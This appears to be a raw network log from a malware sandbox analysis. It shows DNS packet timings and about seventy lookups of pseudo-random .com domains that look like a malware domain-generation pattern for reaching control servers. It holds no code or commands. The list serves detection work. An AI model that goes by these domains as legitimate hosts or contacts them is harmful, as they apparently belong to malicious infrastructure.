Nov 11, 2024 18:51:38.509537935 CET	65262	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.518379927 CET	53	56382	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.541362047 CET	53	65262	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:39.106549978 CET	62356	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:39.108784914 CET	53153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:39.108943939 CET	53608	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:39.114473104 CET	53	62356	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:39.120558023 CET	53	53153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:39.139820099 CET	53	53608	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.292850018 CET	58464	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.293374062 CET	64077	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.293946028 CET	58676	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.294572115 CET	51526	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.299303055 CET	58645	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.300406933 CET	53	58464	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.300474882 CET	51704	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.300822020 CET	53407	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.301237106 CET	58185	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.301476002 CET	55251	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.301819086 CET	59124	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.302259922 CET	57793	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.304189920 CET	53	58676	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.304255009 CET	64987	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.304517031 CET	53	64077	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.308413982 CET	53	58645	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.310313940 CET	53	51704	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.311157942 CET	53	55251	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.311388016 CET	53	53407	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.311510086 CET	53	59124	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.311731100 CET	53	58185	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.311886072 CET	53	57793	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.313364983 CET	53	64987	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.318511963 CET	63787	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.320471048 CET	52131	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.320492983 CET	61437	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.321589947 CET	53902	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.321742058 CET	63539	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.322115898 CET	55099	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.322369099 CET	52966	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.322585106 CET	52134	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.322808981 CET	53543	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.323040009 CET	50579	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.325406075 CET	53	51526	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.329916954 CET	53	63787	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.330336094 CET	50083	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.331159115 CET	53	52131	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.331248999 CET	50616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.333208084 CET	53	50579	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.334003925 CET	53	53543	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.341411114 CET	53	50083	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.342077017 CET	55161	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.351772070 CET	63896	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.351914883 CET	53	61437	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.352181911 CET	53	55161	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.352204084 CET	53	53902	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.353286982 CET	53	63539	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.353862047 CET	53	55099	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.354011059 CET	53	52966	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.354192019 CET	53	52134	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.356265068 CET	54522	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.362282991 CET	53	63896	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.362297058 CET	53	50616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.366257906 CET	53	54522	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.367012978 CET	64110	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.367635012 CET	61201	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.367661953 CET	65044	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.367980003 CET	63071	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.368146896 CET	58024	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.368264914 CET	51970	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.368479967 CET	58150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.368987083 CET	50270	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.371277094 CET	63045	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.371550083 CET	56239	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.372395992 CET	55540	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.374083996 CET	53	65044	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.377358913 CET	53	61201	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.377372026 CET	53	63071	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.377726078 CET	53	64110	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.378938913 CET	53	58024	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.379055977 CET	53	58150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.379647970 CET	53	50270	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.380916119 CET	64102	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.381063938 CET	51892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.381083012 CET	53	63045	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.382035971 CET	53	56239	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.382138014 CET	53	55540	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.383220911 CET	64189	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.383456945 CET	61706	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.383521080 CET	63392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.383761883 CET	50130	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.384449959 CET	56314	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.385081053 CET	58264	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.385760069 CET	52389	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.385926962 CET	50078	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.391098022 CET	53	64102	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.392590046 CET	53	64189	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.392750978 CET	53	50130	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.393897057 CET	53	56314	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.394710064 CET	53	63392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.395245075 CET	53	61706	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.395493031 CET	53	52389	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.396469116 CET	53	50078	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.396886110 CET	62826	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.399425983 CET	53	51970	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.400593042 CET	61322	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.400737047 CET	51477	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.400873899 CET	53923	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.401611090 CET	55645	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.401792049 CET	52772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.402081013 CET	52696	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.402401924 CET	53424	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.402713060 CET	54146	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.402901888 CET	52112	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.403043032 CET	59733	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.407080889 CET	53	62826	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.410708904 CET	53	52772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.411163092 CET	53	61322	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.411652088 CET	53	51477	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.411942005 CET	53	53923	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.412120104 CET	53	55645	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.412328959 CET	53	53424	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.412390947 CET	53	52696	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.413194895 CET	53	51892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.413314104 CET	53	59733	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.415515900 CET	53	54146	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.415654898 CET	53	58264	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.435003042 CET	53	52112	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.733179092 CET	59163	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.733474016 CET	63250	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.733495951 CET	65207	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.733902931 CET	49821	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.734031916 CET	50075	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:40.740830898 CET	53	49821	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.743508101 CET	53	65207	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.743668079 CET	53	63250	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.743807077 CET	53	59163	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:40.765559912 CET	53	50075	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.554846048 CET	62375	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.556314945 CET	52189	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.565934896 CET	53	62375	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.566381931 CET	55041	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.566734076 CET	56035	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.567681074 CET	49217	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.571909904 CET	57778	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.573148012 CET	60813	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.573973894 CET	50604	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.574670076 CET	52416	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.574799061 CET	53	56035	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.576322079 CET	53	55041	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.576915026 CET	58470	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.577771902 CET	53099	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.578217983 CET	63942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.578874111 CET	53	49217	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.582288980 CET	65290	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.583337069 CET	53	50604	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.585918903 CET	64105	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.587908983 CET	59462	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.588471889 CET	53	52189	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.588495016 CET	53	58470	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.588505983 CET	53	63942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.590115070 CET	53	57778	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.591660976 CET	59697	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.594923019 CET	53	65290	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.596271992 CET	53	64105	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.604646921 CET	53	60813	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.607870102 CET	53	52416	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.608505011 CET	53	53099	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.609992027 CET	60111	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.610308886 CET	49941	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.614151001 CET	50774	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.620332956 CET	53	49941	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.622056007 CET	62192	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.622865915 CET	53	59697	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.624078035 CET	53	59462	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.624377012 CET	53	50774	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.642112017 CET	53	60111	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.654731989 CET	53	62192	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.801790953 CET	50855	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.802035093 CET	65523	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.802381992 CET	51348	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.802584887 CET	64873	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.804702044 CET	65377	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.804862022 CET	58230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.804878950 CET	56268	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.805166960 CET	63630	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.805378914 CET	65482	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.805526972 CET	61585	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.805604935 CET	51370	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.805835962 CET	57678	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.806076050 CET	61377	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.806180954 CET	61960	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.806718111 CET	54265	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.808319092 CET	55210	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.811844110 CET	53	65377	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.811995983 CET	53	65523	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.812401056 CET	53	50855	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.812939882 CET	53	51348	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.814209938 CET	53	54265	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.814979076 CET	53	56268	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.814990044 CET	53	58230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.815865993 CET	53	57678	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.816812038 CET	53	61377	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.817580938 CET	53	61960	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.818384886 CET	53	55210	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.828174114 CET	53	63630	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.834798098 CET	53	64873	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.836462021 CET	53	61585	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.837321997 CET	53	51370	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.838077068 CET	53	65482	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.848514080 CET	56985	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.853260994 CET	60756	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.853765965 CET	49726	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.879749060 CET	53	56985	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.884919882 CET	53	60756	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.886008024 CET	53	49726	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:41.953929901 CET	51382	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:41.965037107 CET	53	51382	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 18:50:27.739584923 CET	192.168.2.6	1.1.1.1	0x55ea	Standard query (0)	vonypom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.740468025 CET	192.168.2.6	1.1.1.1	0xed30	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.742535114 CET	192.168.2.6	1.1.1.1	0xa42d	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.750818968 CET	192.168.2.6	1.1.1.1	0x2bca	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.755872011 CET	192.168.2.6	1.1.1.1	0x7328	Standard query (0)	lymyxid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.772382021 CET	192.168.2.6	1.1.1.1	0xab0d	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.775114059 CET	192.168.2.6	1.1.1.1	0xa0d8	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.789493084 CET	192.168.2.6	1.1.1.1	0x2bdb	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.807275057 CET	192.168.2.6	1.1.1.1	0xc00f	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.808139086 CET	192.168.2.6	1.1.1.1	0x6851	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.823378086 CET	192.168.2.6	1.1.1.1	0xb4a4	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.000561953 CET	192.168.2.6	1.1.1.1	0xc82c	Standard query (0)	galyqaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.359999895 CET	192.168.2.6	1.1.1.1	0x169b	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.360097885 CET	192.168.2.6	1.1.1.1	0x824f	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.362373114 CET	192.168.2.6	1.1.1.1	0xeee6	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.365150928 CET	192.168.2.6	1.1.1.1	0x9417	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.365709066 CET	192.168.2.6	1.1.1.1	0x8f45	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.365735054 CET	192.168.2.6	1.1.1.1	0xb466	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.368521929 CET	192.168.2.6	1.1.1.1	0xeb6e	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.368657112 CET	192.168.2.6	1.1.1.1	0x4576	Standard query (0)	vocyzit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.369975090 CET	192.168.2.6	1.1.1.1	0x18a4	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.370503902 CET	192.168.2.6	1.1.1.1	0x9584	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.371145964 CET	192.168.2.6	1.1.1.1	0x258	Standard query (0)	gahyqah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.371927977 CET	192.168.2.6	1.1.1.1	0xef39	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.372406960 CET	192.168.2.6	1.1.1.1	0xc5b7	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.373025894 CET	192.168.2.6	1.1.1.1	0x5eb1	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.380754948 CET	192.168.2.6	1.1.1.1	0xe122	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381036043 CET	192.168.2.6	1.1.1.1	0xe8e0	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381134033 CET	192.168.2.6	1.1.1.1	0x21d8	Standard query (0)	qegyhig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381264925 CET	192.168.2.6	1.1.1.1	0x834a	Standard query (0)	vocyruk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381477118 CET	192.168.2.6	1.1.1.1	0xa556	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381747007 CET	192.168.2.6	1.1.1.1	0xeb06	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.381918907 CET	192.168.2.6	1.1.1.1	0xdeb	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.382102013 CET	192.168.2.6	1.1.1.1	0xaf06	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.382304907 CET	192.168.2.6	1.1.1.1	0x9ea8	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.391613007 CET	192.168.2.6	1.1.1.1	0x23e5	Standard query (0)	lyvyxor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.391796112 CET	192.168.2.6	1.1.1.1	0x706f	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.391987085 CET	192.168.2.6	1.1.1.1	0x122f	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.392151117 CET	192.168.2.6	1.1.1.1	0x84f	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.393465042 CET	192.168.2.6	1.1.1.1	0x1d7f	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.394359112 CET	192.168.2.6	1.1.1.1	0xa03b	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.394542933 CET	192.168.2.6	1.1.1.1	0x9a06	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.394542933 CET	192.168.2.6	1.1.1.1	0xf810	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.395817995 CET	192.168.2.6	1.1.1.1	0x88c7	Standard query (0)	gatyfus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.396060944 CET	192.168.2.6	1.1.1.1	0xfec2	Standard query (0)	gadyniw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.396348000 CET	192.168.2.6	1.1.1.1	0x7a79	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.409426928 CET	192.168.2.6	1.1.1.1	0xd6a0	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.410202980 CET	192.168.2.6	1.1.1.1	0x5c23	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.410594940 CET	192.168.2.6	1.1.1.1	0xb232	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.410768032 CET	192.168.2.6	1.1.1.1	0x5611	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.412308931 CET	192.168.2.6	1.1.1.1	0xb7b6	Standard query (0)	puzylyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.412559986 CET	192.168.2.6	1.1.1.1	0xd82e	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.413017988 CET	192.168.2.6	1.1.1.1	0x627c	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.413105965 CET	192.168.2.6	1.1.1.1	0x60c7	Standard query (0)	qetyfuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.413279057 CET	192.168.2.6	1.1.1.1	0xa468	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.413712978 CET	192.168.2.6	1.1.1.1	0x99b8	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.433278084 CET	192.168.2.6	1.1.1.1	0x816c	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.433336020 CET	192.168.2.6	1.1.1.1	0x9780	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.433917999 CET	192.168.2.6	1.1.1.1	0xcef5	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.433918953 CET	192.168.2.6	1.1.1.1	0xc339	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.434117079 CET	192.168.2.6	1.1.1.1	0x6ee0	Standard query (0)	vojyqem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.434166908 CET	192.168.2.6	1.1.1.1	0xf3c	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.434708118 CET	192.168.2.6	1.1.1.1	0x5c4f	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.435158968 CET	192.168.2.6	1.1.1.1	0x2d41	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.313244104 CET	192.168.2.6	1.1.1.1	0x807f	Standard query (0)	ww8.galyqaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:32.328984022 CET	192.168.2.6	1.1.1.1	0xa83b	Standard query (0)	ww3.galyqaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.346052885 CET	192.168.2.6	1.1.1.1	0xe25a	Standard query (0)	pupydeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.349822044 CET	192.168.2.6	1.1.1.1	0xe91f	Standard query (0)	ganyzub.com	A (IP address)	IN (0x0001)	false
